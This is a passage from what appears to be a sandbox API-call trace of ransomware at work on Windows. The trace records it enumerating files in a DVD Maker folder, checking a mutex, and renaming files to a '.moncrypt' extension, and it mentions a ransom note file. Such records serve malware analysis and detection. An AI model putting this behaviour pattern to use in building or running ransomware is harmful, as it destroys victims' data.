ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.512] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.512] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.513] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.513] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.513] GlobalUnlock (hMem=0x44000c) returned 0 [0058.513] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.513] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.513] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.513] GlobalUnlock (hMem=0x44000c) returned 0 [0058.513] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.513] GlobalUnlock (hMem=0x440004) returned 0 [0058.513] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.513] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png", cchWideChar=96, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.", lpUsedDefaultChar=0x0) returned 96 [0058.514] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.", lpUsedDefaultChar=0x0) returned 4 [0058.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.515] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.515] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.515] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.515] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.515] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0058.516] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0058.516] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.516] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.516] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.516] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.516] GlobalUnlock (hMem=0x440004) returned 0 [0058.516] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.516] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.516] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.516] GlobalUnlock (hMem=0x440004) returned 0 [0058.516] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.516] GlobalUnlock (hMem=0x44000c) returned 0 [0058.516] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.516] CharLowerBuffW (in: lpsz="scenesscroll.png", cchLength=0x10 | out: lpsz="scenesscroll.png") returned 0x10 [0058.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.517] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 0x54e280 [0058.517] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.517] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.517] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.517] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png", dwFileAttributes=0x20) returned 0 [0058.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.520] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png.moncrypt")) returned 0 [0058.520] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0058.520] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.520] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.520] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.520] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.520] GlobalUnlock (hMem=0x44000c) returned 0 [0058.520] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.520] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.520] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.520] GlobalUnlock (hMem=0x44000c) returned 0 [0058.520] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.520] GlobalUnlock (hMem=0x440004) returned 0 [0058.520] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.521] CharLowerBuffW (in: lpsz="specialmainsubpicture.png", cchLength=0x19 | out: lpsz="specialmainsubpicture.png") returned 0x19 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, 